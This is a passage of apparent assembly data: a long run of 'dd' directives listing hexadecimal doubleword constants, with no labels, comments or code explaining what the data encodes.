0D87C7131h, 0AECFE340h, 0B4C4016Ah, 0FF5FA212h dd 6B2DD053h, 0C1A1520Eh, 233A0196h, 0C18DC944h, 0E0F191C0h dd 0D0184077h, 210A44Dh, 0D07F54ADh, 0EA553AB2h, 29A918E3h dd 479D3100h, 5D7D2E75h, 9032F96Dh, 6EBF5000h, 7BAAF512h dd 0EB37C000h, 0AFAD850Ah, 0B1770034h, 7887E75Ah, 5960EA79h dd 0AE866781h, 40708Dh, 0AD6E4BDDh, 0B6495132h, 0A9305A98h dd 217F6125h, 0E3FA007Eh, 0D0BD9270h, 180034D8h, 0BC98B276h dd 9517E88Fh, 408F040Fh, 637B93E0h, 0CA006F4Dh, 65CCF092h dd 7E0FC92Eh, 0AF8300F9h, 0AB69466h, 0AC007053h, 0A4D1D64Ch dd 0E6173E3h, 6F14F41Dh, 4AAB43E0h, 17000550h, 24B41F69h dd 3542293h, 593256B6h, 6D918509h, 683087D4h, 0B32099EBh dd 6F8F1537h, 4947010h, 0FAD0E7BEh, 301F4C95h, 91187441h dd 0FE715005h, 0DBF72E00h, 965A9403h, 0FD8D00ADh, 0E662FB37h dd 0A3329010h, 10EB294Dh, 1788ABF2h, 881895Fh, 352284DFh dd 112342AEh, 0B3214AF7h, 90A0D808h, 478284BFh, 0A84EA748h dd 84CB90A4h, 9B4844A2h, 24988242h, 0AC8823E7h, 44DC8F44h dd 0F34891D4h, 90C80247h, 8F119E63h, 0B2228474h, 11574258h dd 9B219340h, 4B884110h, 9038F347h, 562984B7h, 8E803F48h dd 50042167h, 3B5800AAh, 7A83DDFDh, 0CF006CEBh, 0FBC891E2h dd 7BF24A9Eh, 0E2E57F7Bh, 2D7E7Dh, 8F613C49h, 5FCA011Ch dd 0E73E5973h, 8CB8D3h, 8169E515h, 0EC7B66D4h, 0D660079Fh dd 0B049EAB0h, 521D5545h, 9A114D0Fh, 0D4480087h, 0E04C8Fh dd 2333EE99h, 7DF2D738h, 93890B00h, 0D38872F5h, 0AFF80F4Fh dd 4640364Dh, 23F9FE20h, 7C198B03h, 0E8E8169Ah, 0E0AEC48Ch dd 0C0B801F4h, 971C012Ch, 14F7F41Fh, 0C18F4601h, 0E1D7BE6Ah dd 756020h, 36DB28B4h, 69798B67h, 22855700h, 43012E56h dd 3EF7018Dh, 72357D81h, 0FDA2C8E7h, 50BAF91Fh, 1295DC81h dd 80DBBB83h, 16A1F3Ch, 368C3794h, 241A60ADh, 2A00CC94h dd 0E081DBFEh, 52A04Bh, 0FCBF965Fh, 5805ADC1h, 2B6F21Eh dd 0B9CD3200h, 0F54028h, 0A3F3E913h, 8A9BCC16h, 8C314B00h dd 7FAA6102h, 0C18101F9h, 51AE8936h, 7B308791h, 8590E3E7h dd 75712E70h, 1D7900EBh, 8D17143Ch, 26006007h, 9C06AB63h dd 824BFFh, 0DB98C0FEh, 0F7B6AA23h, 9BBD9614h, 872C00C0h dd 0F65A11A7h, 6200031h, 6DE8C333h, 50008A9Dh, 991EDB3Bh dd 639FB4h, 55416F89h, 0E8E9FF2Dh, 13C8D800h, 23698F31h dd 8CBE1F4Ch, 0C0FE9EBDh, 2D77587Ah, 0E800AA3Eh, 0C2B5185Ch dd 0F6AF7CAEh, 0EB04012Fh, 81937690h, 317F8FAh, 0F8EC461Eh dd 0F5331340h, 7DD3A8h, 0D9814FBCh, 0D20E4E6Bh, 0B70096FEh dd 0A5B2DF24h, 0E475B55h, 51EFD872h, 18A99560h, 0F800331Dh dd 0C2046775h, 4889057Eh, 49005CE3h, 0D6A025B0h, 0A33E2ABEh dd 8E00F8A8h, 8D3FDE42h, 0F09F5E91h, 90BB502Eh, 674300ECh dd 71369A53h, 1C0CC641h, 0AA01B765h, 0B16F00B4h, 0AF2B24A0h dd 0E4485E39h, 173F64h, 9EEBB2BCh, 0EA5A1Ah, 8CF668A5h dd 9306F242h, 0F51B3000h, 0EA3B2DBh, 0F85160ACh, 0C7DA66E3h dd 0DF1CB600h, 691A39EBh, 0AA1500B7h, 3CC6A824h, 88018A77h dd 8612055Dh, 0D9F12F95h, 0F44031E9h, 30B527A9h, 872840C5h dd 0AE000C84h, 6945D5F8h, 0E46DA3h, 3798C78Dh, 0CD800F9Fh dd 779D2201h, 0C6108AB5h, 28F42EE0h, 1C80E51Fh, 40AE8BCFh dd 4A3ABFC2h, 271C599Dh, 5005221Eh, 0A4C009C1h, 0FBFF2Ch dd 0D37E5AD2h, 67928F90h, 0BDC3DC0Ah, 5801F02Ah, 0ED55D0AAh dd 0E53C0300h, 4E841818h, 0A9303Ch, 0E1FE3E5Bh, 34E7867Fh dd 75035098h, 82972B46h, 92EFE7C8h, 2CA87600h, 14548E3h dd 8ED5B476h, 40E09815h, 35A059F0h, 0D3D4DD05h, 9840D9C1h dd 68E5879Bh, 2C090B8h, 0D6654EA8h, 5064FAC2h, 2AC4EA00h dd 565BD90Bh, 3DBD0095h, 0E95910ACh, 4E007ACCh, 70A268A4h dd 2B36A1h, 97DF022Eh, 0E33C520Dh, 940CC00h, 49FC031Dh dd 21F30CE4h, 68101CA8h, 4B1E100Fh, 1E778E3Bh, 19B1AC80h dd 0E2C290Eh, 71BC01F0h, 5C542053h, 3439E0E3h, 0E0E4BDF8h dd 10321AB0h, 0B967099Ah, 0C3A06AF2h, 5AC7CB54h, 9849C41Ch dd 43456280h, 0FC01A173h, 954C000Eh, 66E94EC3h, 440784B1h dd 0F5DCC29Bh, 5EB8CDA0h, 813D045Fh, 8071251Dh, 0AF0E7C12h dd 9C38E400h, 0D02C497Fh, 51EB02B3h, 0A3307816h, 73D82960h dd 3B56D700h, 0E518B685h, 7D86262Fh, 902B0184h, 60F0DA95h dd 3D0271F7h, 4EDD2EAAh, 16334046h, 50BB0002h, 35E327E6h dd 0AE00E1CEh, 5D9BF8BFh, 7ED8A1FFh, 0CDEA00C3h, 11B8E4CCh dd 0FA091983h, 2C4BD1h, 0F7090390h, 0D00607BBh, 7004D6C9h dd 0F9E2D278h, 0FE0A9E00h, 5F844C7Bh, 5B7E03ACh, 77A929B8h dd 5CE712D0h, 0C131730Fh, 0EA202006h, 0F8F756h, 0FF2F5795h dd 813FFCE5h, 482DF000h, 0E2E7DAC3h, 0DE2200FAh, 0E309AB1h dd 0B30034A9h, 0C5453A21h, 7185947h, 5889EB3Dh, 4B748096h dd 3801CF39h, 15417A7Fh, 3432B61Bh, 0E9F51F03h, 0B5E001DDh dd 2C093D63h, 80AF7102h, 0F180AB59h, 2A0EAF6h, 78923020h dd 9C40EEB3h, 0F93F5EA7h, 0B0F200FCh, 7F451673h, 94C20012h dd 914A5A27h, 0EAF25653h, 0FDC3D302h, 40959B0Ch, 942170h dd 59F4D699h, 0A27187C2h, 0E64864B8h, 1C9D0025h, 5413DE81h dd 163900E1h, 0E219C36Dh, 4607E99Eh, 9BD32D8Dh, 94E00330h dd 4281000Eh, 2FA2964Fh, 3500F928h, 6FA51BFh, 421DF61h dd 7E0774CFh, 0DD24C348h, 505180DCh, 0D6024F1Ah, 0BB71AF2Dh dd 3A00E05Ch, 8E4A0C09h, 0AD0CABAAh, 68561626h, 0CE094024h dd 0A55880B2h, 73E0B5h, 8474778Ah, 40B836E9h, 2254AB00h dd 884D9CC2h, 69251D80h, 9BF5423Eh, 88C01B76h, 0C600DAA8h dd 0F8E51391h, 12E2E0E1h, 2F2EF7h, 188C1E4h, 4BEE9AA6h dd 7674FF00h, 8DDE3FD9h, 379F0031h, 0F005F953h, 4F7972C7h dd 7C0F2A7Ah, 6057771Fh, 4D505B8Ch, 38907Eh, 41B36E0h dd 0BA6EFFB3h, 50D1814Ch, 8A03E797h, 0CA176A97h, 14A09FE4h dd 1FC1A477h, 8093F907h, 582C69AEh, 6300A102h, 0C2EF54C6h dd 3D176571h, 43803A0Ah, 0A7DAE246h, 3D3F0DD3h, 1055266Bh dd 0C6A92400h, 5D1E9C4h, 9FF24137h, 0AD7C90EBh, 0A02E110Ch dd 7509D8D3h, 0E5818FC8h, 0D0090FC2h, 0C0B88F0Bh, 0A9EAF570h dd 0F99701A3h, 1930DD8Fh, 0D98870A6h, 745AF302h, 0C04C76D8h dd 0CB874h, 65DF3655h, 921C8560h, 47110201h, 0D9C06B67h dd 0F8D880EFh, 52A100B1h, 0AE448033h, 0EA0E3BA0h, 17C48B25h dd 92A74A00h, 63315B43h, 3A70C276h, 7BC82EDBh, 2200BDBEh dd 0F60120C5h, 433B8Ah dd 0F019744Eh, 6E9C33DBh, 96AFF100h, 0D7717322h, 0B101007Fh dd 3225C091h, 1B1EE7BFh, 62C072C1h, 3CEDA6AFh, 74760005h dd 0E88AB66h, 2A7E04C0h, 6B0A77E6h, 0A8BDEE41h, 8B1C6F00h dd 3A7AFCC9h, 602CD0FFh, 96CF07D4h, 5F203FDDh, 0EE2A5718h dd 7AAA5300h, 0F2D37BB4h, 0F5B702F8h, 0F0A58B1Bh, 72C0C0C8h dd 0A3FB8F00h, 6CC27837h, 0CBBD01E1h, 0F215C495h, 0D0D2CCFAh dd 3C762000h, 0A0830B71h, 61220070h, 0EB0219AAh, 3414E186h dd 7FDC1290h, 0D3DB3800h, 11AA99EDh, 2FE3006Eh, 5F6FE4D1h dd 82011FFFh, 0EBA5B116h, 1A31D27Ch, 73CBEFE4h, 815F0004h dd 80B0D8CAh, 8D0032F3h, 0A4681D75h, 6C7BA8h, 0B226A502h dd 0FD05BAD7h, 147A7300h, 0EB02F82h, 0C7F200A0h, 0C996A66Bh dd 0E2001F88h, 0DABE36Dh, 0B0DD1Eh, 9A2AE0A0h, 11075E93h dd 0BFC4AA00h, 6057E9F9h, 0B916398Ah, 53DF1Fh, 72D2198Fh dd 24B07CA2h, 79344F00h, 0BFF714B7h, 0CED1004Dh, 0D2622A02h dd 2B01014Ah, 0C2AC9F26h, 0B2701F53h, 4C8A00CDh, 0A3390714h dd 0F5E03451h, 0AA798601h, 85FD64F0h, 213D2460h, 10402038h dd 7EE60F0Bh, 0A4A71793h, 292C002Dh, 0FDF2D8C5h, 79B6410Eh dd 716B0062h, 26D151h, 79C9DD9h, 0DCAB15FBh, 0BC084100h dd 0BFB09B22h, 0AEF500A7h, 544013F2h, 0A4005B16h, 51773629h dd 78212B7Ch, 0B2B1039Eh, 19816274h, 70F1FFF9h, 511F17ACh dd 55C795A9h, 0F950D3D2h, 353F532h, 0B9836B70h, 5DB87193h dd 0B2002A6Fh, 242618A1h, 6E14C6h, 5FEC7C7Fh, 0A70FB498h dd 0BBC8F307h, 6FB02DFCh, 28DA1C72h, 0B479DEh, 52BD0813h dd 2B03D3D8h, 56D26502h, 802E3715h, 0E2EA7EB0h, 7F3E0388h dd 9164E8Ch, 43BCC0F4h, 891FF725h, 9EB0EBA0h, 2810BCD4h dd 1FB48EB9h, 80E47579h, 274FC214h, 0F2000BAEh, 9747263Fh dd 207BFD0h, 0A75B90EDh, 0E00E808Bh, 83E1338Eh, 5503058Ch dd 345486h, 5C795B0h, 0A70C4645h, 1937A6BFh, 0F0A300F4h dd 4CF233C1h, 0CD58D06Bh, 0D8AE007Ch, 32B7625Dh, 0FA1800C3h dd 0AB316D52h, 0A7ECF03h, 91146A1Dh, 1EAE89C0h, 6E68871h dd 0F5E5F3F8h, 0B4E61037h, 3500DC79h, 53DB6C2Bh, 0E055EE25h dd 0E7500D9h, 0D2216ADEh, 2B4C8BBFh, 0CCD02B4h, 50A8B6B7h dd 1C1702E8h, 35C1D1C8h, 5F0268C0h, 67AECA0h, 4C61671Fh dd 0B764BA81h, 71E14A4Dh, 0FE90E6F4h, 0DE03006Bh, 0B233FC02h dd 88014CCDh, 97EF7EF2h, 84EC63A8h, 0E0C62647h, 9C390E7Ch dd 0D4FC3459h, 0B2063C86h, 8E08930Bh, 89C90078h, 0AE508C25h dd 0A0003DEFh, 8DD54B5h, 0E8B9B738h, 59DB0087h, 0C016F09Ch dd 0E47E223Bh, 1055Ah, 0B794C481h, 0E72E9080h, 0C17C184Dh dd 0B41D5Ch, 0F362B631h, 0B85213DCh, 653C00B2h, 3095D066h dd 256057A4h, 0BD332728h, 349E00FAh, 976B545Dh, 57126568h dd 38003014h, 85405C6Ah, 4CE3EA6Dh, 0FF038425h, 8D29FCAEh dd 0D8F0BE83h, 2800EA16h, 0DB9DB20Dh, 496B66h, 0A1B9FB1Fh dd 0D0CD01BCh, 4AA44407h, 0DB556FE5h, 23A72880h, 0A6BA39B4h dd 124E7AEh, 881F7B76h, 0CD64F8B2h, 3087B500h, 3186D1A0h dd 72E90092h, 0CF52CC61h, 961D019Dh, 7A012AE4h, 0DFF5EC2Ch dd 0C2DCF0CBh, 85E9007Eh, 0F013A12Eh, 0A326E37Ah, 0CF8058CAh dd 933E304Bh, 0C64F0050h, 8E168C12h, 0EF00FD70h, 0EEB99281h dd 56449Bh, 66CFE03Eh, 2179897Eh, 0AB00E8F4h, 8F3A4901h dd 6D1F54h, 0CB95EBB8h, 85CC1382h, 0D35CC200h, 1BB00397h dd 8E240092h, 1AA44C07h, 190335A3h, 0AD34C20Dh, 0C0300711h dd 0F047F958h, 736D3EE9h, 4400E0F4h, 4E49C410h, 72FF7663h dd 0C8940CD9h, 1B9A7CFBh, 173D5800h, 5FDC8F38h, 455A00D0h dd 80ECFB29h, 321EA624h, 833AFE1Eh, 0DE0791CDh, 7B87A918h dd 0EF9FFCh, 0B8F35CE2h, 0BB4DA635h, 0CD191E00h, 17EBF597h dd 0C7E44Fh, 0AEB8792Bh, 0AD02A7C8h, 0CDF12000h, 4198CE59h dd 3B0A006Fh, 65757237h, 0A30026B7h, 2B4751A5h, 206C8FDh dd 0E9F17BEh, 9B602DD4h, 4B00C7B1h, 0EF07655Eh, 0C05C97B5h dd 1ED42A51h, 79007DABh, 0D3179D12h, 52A5E9h, 60B8E06Ah dd 0F98F148Eh, 86735C01h, 0D16B36C1h, 1FF87831h, 0A34C07F7h dd 70853875h, 3E743C96h, 4A030E1Ch, 60F3BA01h, 0CFF8A9BBh dd 79C90056h, 0A5684E6Eh, 0D500FF9Ah, 195D3865h, 15E4Ah dd 93ADB254h, 262A13C2h, 0FED39D07h, 4BA23930h, 0A6EF4005h dd 0D83803F1h, 11637CBBh, 2495C1C0h, 6EE8BD00h, 7A07106Dh dd 5E351FACh, 8FF540CCh, 62BEC89Eh, 8055DF3Eh, 11BF609Ah dd 2D66FD08h, 0F0853D8Ah, 4D6420C0h, 0AA018DD8h, 0FA40B73Bh dd 0F04025A7h, 106E007h, 13F675D4h, 0FCFD4A14h, 2E0019FFh dd 5EDE7001h, 83883Fh, 8E934335h, 7E5015F9h, 49173A0Bh dd 0AB28C060h, 14EC70h, 6B56E5ADh, 0EC8A8757h, 59A59F12h dd 69EA0EAEh, 0F0908736h, 221E7C3Fh, 159E0500h, 8DBCF4BDh dd 784E60F7h, 8D59A44h, 0E9F89000h, 378331Dh, 90095CBAh dd 9AC98900h, 4BE6124Fh, 6C1A3400h, 0F9FDCAF6h, 566E134Ch dd 972C0F21h, 6411D142h, 80D2C287h, 33B7B38h, 42AB3707h dd 5AF08EB1h, 1E9EBBDh, 9278A534h, 293D6AE5h, 8F740080h dd 0D2907DDEh, 0BC44000Ah, 0EC877AC0h, 5E039C37h, 83F5FF31h dd 909AE827h, 225F0079h, 111036E9h, 4975E4F9h, 0ACAA012Eh dd 0A22F4B00h, 4F8B689h, 0C07E21AFh, 885C8053h, 3D3FAC3Ch dd 47FF007Ah, 103EFAA4h, 4C505C5Dh, 0F6EAE980h, 64B08A04h dd 7AC4648h, 7757E84Fh, 0C739D7A0h, 0C60E142Ch, 65039430h dd 0A524E7Dh, 0B0AB0DE8h, 3C847300h, 9205A999h, 2A8C0035h dd 0A14D0675h, 0F2F04BD9h, 6F14CA00h, 0F6215E88h, 38C9C012h dd 0E3C5BE6h, 0E73A9707h, 80995DD3h, 9A7DC394h, 5A900124h dd 4FDEF4C6h, 6398F811h, 0E080A700h, 23C974A1h, 0F2B900F5h dd 0D2462E6Ch, 0C8C08968h, 0FA2D5F2Ah, 94E462h, 52416AF1h dd 0DDB55143h, 0B8057E0Ch, 3097D0A3h, 9C6228C3h, 3400A26Fh dd 27C450C7h, 0BBE7EAh, 0CA6C0225h, 9BFA632Fh, 2EC37900h dd 9592CD0Eh, 0A71700FFh, 0EC01598Eh, 5224E298h, 13001430h dd 0F7F879CEh, 6426189Dh, 7D3A1953h, 740D6E3Bh, 30B9D024h dd 6D371001h, 0AC78F57Eh, 552E7000h, 8946606Bh, 0BE4E513Dh dd 0B8268087h, 614548EDh, 0A90003Dh, 766FE3B6h, 1E1E8DF2h dd 9900F313h, 20D1CED0h, 0C5C900A5h, 4C037693h, 0B7E188Ah dd 0D200637Fh, 0A5B969DAh, 0AD3FD4h, 8E400123h, 0E5E01250h dd 631F9702h, 0E1694AD2h, 0CFC0FB5Bh, 0D7FE00C3h, 0DD68BDC1h dd 0EB001E53h, 0F4D278A3h, 3F94E2Ah, 0D802A88Ch, 0B68058F8h dd 64014B4Ch, 0BC6F848Eh, 0EC20F116h, 1EA7844h, 0E930AA0h dd 0E4420FEBh, 0CF00D856h, 74209E81h, 0A8CA2Eh, 5A1D0BDAh dd 84AB5F95h, 709DDC03h, 88312FBDh, 0E24A3906h, 60654956h dd 19CB2601h, 3CBF4Fh, 0DA1FB1h, 0FBC591BDh, 0B889EBC0h dd 0F699300h, 12F5D0Dh, 0D4EC00F6h, 3255CFF0h, 1100A23Bh dd 2854F1D2h, 38B31D0h, 199FF746h, 0FE80C7AFh, 5E078988h dd 0D50B36DCh, 0B2F3D8D0h, 0AF2A0EBDh, 0FE802B5Ch, 1DE186F8h dd 8099B130h, 9896CFF9h, 0FA5B006Ch, 2AAFF551h, 0F200223Fh dd 8B065047h, 0DE3D3A26h, 0A564C1B8h, 6CEE85F4h, 92AE00D8h dd 0B0A02F75h, 56960005h dd 0B6B8B7B9h, 0F21F4DE2h, 35419D33h, 42395B0Dh, 1034984h dd 0A6378389h, 65ABC0E0h, 1D11EF01h, 0CDAD2FA1h, 0DADD9450h dd 9A1F0006h, 0F6D0C142h, 0C3001EBFh, 83FBFC07h, 7902B103h dd 864A01BDh, 5F65C7B4h, 1D9C7CA6h, 11808E68h, 8AF162ADh dd 4EC12820h, 70082588h, 92596800h, 40013D7Fh, 244A5EECh dd 32E4D5FAh, 0DE6F092Eh, 804C1FB4h, 0ED031900h, 4C52278Eh dd 288600E2h, 3405D77Dh, 0F50285ECh, 1DACC9D6h, 0DA34C15Fh dd 70D35EDCh, 0ED3F0045h, 2CB09037h, 0D6030591h, 9D7B6566h dd 31F100D5h, 0D7B5B776h, 0AF007C1Fh, 30BA873Bh, 0CD86A02h dd 0DEA45354h, 0A0A427E1h, 7A13DC3Fh, 5F06970Bh, 98D4E0FAh dd 0A9E80104h, 4C37812Ah, 48406011h, 168428FDh, 94804DDFh dd 1E0C8485h, 78D4DE81h, 95D7BD00h, 0DA115E6Ah, 0B30DD500h dd 91CCCB34h, 0B03D0999h, 1C503AFAh, 63135A76h, 0B45E95FBh dd 60805B17h, 30E36EC3h, 4B710B56h, 3130F7EAh, 65831119h dd 43782635h, 2B0228Bh, 0FB90D56Dh, 97603FD1h, 83093E76h dd 0B03C49h, 8F82DC60h, 950770BAh, 8E889020h, 0A40B5F92h dd 202C9DCCh, 90DFEDBCh, 0D3F802C3h, 0F6623B87h, 7EB8CA2h dd 40A8C141h, 0E80F539Ch, 8C623D00h, 3F7B8D16h, 0C887005Ah dd 51CE581Fh, 430E8540h, 670B2A61h, 7ED01E38h, 50F54h dd 0E39406C7h, 6226C398h, 4EA17402h, 46DAC8FAh, 0A25D12B8h dd 0BB9C094Fh, 0D387C8C0h, 0AFCED0A0h, 5585A76h, 0B4425F4Ch dd 0FA197Dh, 8DD762A7h, 0D02E8C3Eh, 0AE6033FDh, 0F20A6E21h dd 7F6730E4h, 0A865C310h, 0ABE5EB04h, 0BDC5CF33h, 3AE49090h dd 6B6116FCh, 0E000512h, 94B84074h, 0B5729BD6h, 319C2654h dd 14C8FD07h, 0E3E04C49h, 791C75h, 0A90C0B22h, 0FBA1EF16h dd 0CEE924h, 6820B496h, 2A2FF8h, 6661844Ch, 45F18560h dd 6DA8E500h, 8AAD4840h, 1E04B64Dh, 8DD14AA2h, 0B77580DCh dd 43F8D7FBh, 797634F8h, 0B1EAF500h, 4C8DE33h, 2A9100EEh dd 0E79C51B7h, 5E001603h, 0E22458A6h, 0AEC4B1h, 7FE934Fh dd 336B3650h, 7F0FC10Ch, 8D19CDh, 693A88B5h, 102D253Ch dd 7FE5FC00h, 1E27CC81h, 0AABC0072h, 0FA2BD9F4h, 2200A9ECh dd 97012412h, 4D6375C9h, 0F04CF4AFh, 0B752B207h, 7F8E007Ah dd 250422Bh, 2F0017B4h, 81D7ACE9h, 3F44E320h, 0F29F6FD5h dd 0BB8ACFE5h, 61C6C360h, 5314275Ah, 0D8BC8Eh, 0A4B599D3h dd 7D444728h, 14B85A69h, 875E88F8h, 0B491359Dh, 0B439E580h dd 62C800FBh, 0ACFFB307h, 91E0022h, 41F00586h, 770FA516h dd 0C35BB9B7h, 0BC1060C7h, 9F9893h, 0A0FC0D4Ch, 0F6A1BD6Eh dd 2030D300h, 0A993A9Dh, 0D6FF24DFh, 49178108h, 2834F3FCh dd 25850058h, 0C34C3E55h, 2DF10F5Eh, 3460D1B6h, 0FDBE98E7h dd 0DEC07A00h, 0AF25E3B9h, 47500ACh, 0F7C2E2EDh, 2D382315h dd 0F60B0728h, 0A32017D6h, 65FF2Eh, 0CCAB47Ch, 9B07B9F1h dd 73BF538h, 2D752C83h, 20394820h, 277A00EEh, 84B358B8h dd 0AC042B99h, 0E960ECA4h, 950CF091h, 3E2D71C8h, 97892C78h dd 7820246Bh, 0AB347F2Fh, 0D191A202h, 0C8F06D5Dh, 0E5705B8h dd 185C1604h, 0A14287AFh, 0E540AE42h, 0F0A0177Fh, 88008B30h dd 0FC3B3A68h, 9028656Bh, 0CDEA001Dh, 0FB54B50Ah, 0FD76349Bh dd 0EF61E818h, 183BA190h, 1177DF9Ah, 0D87E5072h, 6FEC4502h dd 0E05291CEh, 0BE823Dh, 46A81BE0h, 0E1A905BCh, 0EB24AE00h dd 871C15E9h, 3937C18h, 26E00740h, 86B069BBh, 4939FF9Dh dd 0EC3D818Eh, 8AB0599Eh, 58346AF0h, 6401DFAEh, 1CE522B1h dd 5EC3C9Ch, 1A019015h, 5A9BC880h, 0BE230072h, 95CAB721h dd 0A804FDC9h, 0B1F76FFAh, 0C2DE64C0h, 5EE40397h, 0D35D9D32h dd 2CA580BCh, 9C0003BEh, 611C23CCh, 1442E75Bh, 0B88B4354h dd 696B5D02h, 70C0A773h, 58092FB3h, 81126E4Fh, 6CD59FC0h dd 98304C61h, 0F8F54040h, 38FEEE2Ch, 9708DC00h, 0B101EBCh dd 0B1A2A42Dh, 73033C10h, 25A0CC18h, 0EEFDE168h, 8A8B0084h dd 3D3B3876h, 38BA3423h, 81411B18h, 2844E61h, 9E7DD570h dd 0C4B5364h, 618706A9h, 7833F8h, 402E7FABh, 383558h, 23F2D12Ch dd 0C7179575h, 0CD58CB7Dh, 0E54AC888h, 20A4C1B5h, 777980B6h dd 9D2C5D69h, 3C80B231h, 44588BF1h, 9A1B5780h, 6E2C79CAh dd 65707850h, 60008EE3h, 0E4FF19EFh, 2C093EE2h, 78743AC6h dd 6C00B808h, 0BA21123Bh, 16B077ACh, 0C0233789h, 871FC908h dd 0D6921B05h, 1880A6D2h, 0B0E676Dh, 0AAE87D32h, 80167424h dd 731E1544h, 9AC95A63h, 38ED90B5h, 31EF3A2Fh, 0B918D184h dd 45AC8050h, 40074497h, 23240B91h, 12900CE7h, 3347ACFh dd 2570EC26h, 4809DD51h, 803865BCh, 88D8985Dh, 45570759h dd 70713956h, 2C3D1417h, 4114367h, 0D0E518F3h, 0B12110h dd 71A6A7Dh, 66EEF597h, 837248h, 9F15FAA6h, 1E9977B5h dd 0CADE76B8h, 84A869B1h, 9511A602h, 0B8E0D104h, 0C9E850C5h dd 200F371h, 8928F8AAh, 48928A0Eh, 0D2072C87h, 40AE4603h dd 2CE47978h, 57118B74h, 65002537h, 6A60B07Dh, 2D4BF4F3h dd 59E46820h, 6F231D94h, 0DF6840CFh, 0F1EC06CEh, 0D709B20Bh dd 0E4FB030Bh, 443AF86Fh, 0D6521DADh, 6E6402E7h, 43E0C284h dd 6C0097BFh, 678B8912h, 954455h, 0FC0FE538h, 0A3349EF8h dd 0D7980C00h, 8EE96F62h, 0E29200BFh, 6D527C13h, 9D00AE4Bh dd 0C169D1ADh, 7FB75C5Bh, 7259001Ah, 11215D5Fh, 16070CFAh dd 1D65746Ch, 6F008CCAh, 0F0D17DB6h, 0F6B800FBh, 49F30E4Ah dd 0B0E5D49Bh, 3157424h, 50C503A8h, 208921F5h, 849B6FE0h dd 0E2D85800h, 6B1E014Ch, 75651477h, 0B209D4E4h, 20524130h dd 98A36807h, 231086FDh, 0E477676Eh, 10F013Fh, 0D46DA43Dh dd 0F3D0704Ah, 9D386803h, 876B325Fh, 88933091h, 0A42E1832h dd 6B4D4054h, 4E61B5EFh, 0F0169638h, 667470h, 0DFF309E2h dd 324D7D6Dh, 8A15F803h, 0F82606C8h, 25344FDBh, 44E0873Ah dd 0E5007902h, 230E706Fh, 39415C32h, 0B60916D7h, 1AEA4h dd 0D4C8F9E5h, 9A01A989h, 4B68D9A0h, 78297EF7h, 612EB900h dd 8FCB978Dh, 9C3D7724h, 55C0682h, 0B2EBC08Eh, 625609B9h dd 7C00947Ah, 829C0EBAh, 0B7D4805h, 94A0277Bh, 53040769h dd 0C0BF1257h, 0B2964031h, 0A1CD2312h, 269FF8C0h, 0E55C00C8h dd 0DC9016BBh, 0E8010231h, 0A7073C9Bh, 9840FBD5h, 4A3EF67h dd 7D1FBF1Eh, 9BA4D282h, 0E49DF340h, 630DEB00h, 9A89D13Ch dd 541306DDh, 0D978F42Eh, 3203800h, 64F97AA5h, 1345768Eh dd 448AC6BFh, 0B2CA6AD0h, 21AE001Ch, 2A55CF90h, 503160A2h dd 3BEA1151h, 119640Bh, 796002B2h, 0EFBC21B3h, 49BEC1A5h dd 9F8EEC50h, 2019A901h, 3C9A0ECAh, 97809CF3h, 1787C9FEh dd 17E085Eh, 0DD55C020h, 0E8002FD4h, 731A6FC6h, 473A4876h dd 0A23F740Fh, 98BE721h, 53618712h, 0B66278D0h, 19DCE0B7h dd 16C748A5h, 46633300h, 8F3A535Bh, 0FC037916h, 0E4BC7400h dd 0C8DC4429h, 0E2782EB9h, 0DC9F4D2Ah, 2DD2B101h, 60E34BEAh dd 405F348Fh, 0AC57B042h, 90D4E3B1h, 73043FF5h, 9C4BEEA7h dd 0E3604280h, 0C4146012h, 0D7ED2CDCh, 46188344h, 40583407h dd 0F0A32CB0h, 0FBCDCF80h, 185FA032h, 186F8167h, 0EE187FE1h dd 40C1DF99h, 816951Fh, 89047800h, 6307D4DEh, 0AB3B0357h dd 2BC5F01Fh dd 888128AAh, 2D5D20B6h, 0B23AB0BCh, 0C09164DEh, 302CB222h dd 7584024Dh, 0B4A43970h, 0E3687A89h, 0B3A91883h, 7D121A8h dd 840D9600h, 48FBE1CBh, 65EF07A7h, 408EA16Ah, 976B3E40h dd 4CF2BF01h, 75C7DA51h, 0A09997F3h, 0DD2F103Ch, 8F5300F7h dd 0D44D510Fh, 990DC667h, 299B4B4Ch, 6EB4DA40h, 167A0133h dd 3763C8DDh, 21C7F819h, 0F11F9C0Fh, 0AACFE0D3h, 0AF91102h dd 64BE093h, 4C2681C0h, 0E190BF71h, 0E3D440E2h, 61049348h dd 0CB13EC76h, 88550B40h, 84A6683Eh, 4C6E5700h, 0B86D9984h dd 0D9F400AEh, 85A37539h, 0BF7A95DCh, 0D6C75A00h, 77E55E72h dd 0C5920140h, 0B067DD37h, 2800DF13h, 6F14714h, 2C4EEACDh dd 346948h, 0E1BB248Ch, 0EE07B303h, 5E6858FFh, 7EC4DE22h dd 14720034h, 715488C3h, 9824E7F4h, 43807CC0h, 0B6FE31F1h dd 0DD5800E9h, 9AF50FA4h, 6C0FDF9Ch, 0DCBA95B9h, 0C046AEBCh dd 30E3F383h, 0A1B2B001h, 0CCCB0038h, 0E77FB1F2h, 91E0833h dd 0BE00FE72h, 0FA0ABD3Dh, 7CDF09BBh, 10008CD2h, 66C9041Fh dd 0FC7A400h, 52DE613Fh, 80334B19h, 0EEF67A60h, 83B21C0Bh dd 0FD0C8090h, 3449C3Ah, 81332937h, 36F0EFA4h, 0C000D8E9h dd 1895CD14h, 898DFAh, 19871BF0h, 84D028Ch, 1E561A04h dd 0D080B5E3h, 0FCB77B7Dh, 0CFC300F2h, 42670258h, 0EC003FF3h dd 5B77203Eh, 7078ADh, 5745C7EDh, 1BEC92Eh, 845A0892h dd 0FDA2E488h, 760DC300h, 2DD60516h, 281E3C00h, 4381AF9h dd 306AC0FFh, 7FE0B0B5h, 6908DE00h, 5C7288A5h, 0E9D15C06h dd 0D6AFAB03h, 500F1C38h, 0E2E93A49h, 745E9A9Dh, 998900C8h dd 836792D5h, 71D67700h, 2D121C3Ah, 0EDF0008Bh, 0E528A5DDh dd 0BB58DCC0h, 0B1B650B1h, 6710F0E3h, 0E26BB903h, 9035A02Dh dd 0CC1C34h, 31DD8E4Dh, 6672B5FCh, 0A11A1E09h, 0C36C80D4h dd 0AC2B98h, 219DC512h, 44715975h, 0A0406D4Bh, 0B4A3E062h dd 87260B98h, 7CE08E28h, 85F6C27Eh, 13DADB00h, 0B1AB313Fh dd 0E0F9003Ah, 4408AC7Dh, 78B8743Ch, 0DAD1010Eh, 0FEB6033h dd 18EEF3DFh, 0EEA026AEh, 1C038429h, 0AFB9D9A3h, 6CDCE03Ch dd 1A69004Bh, 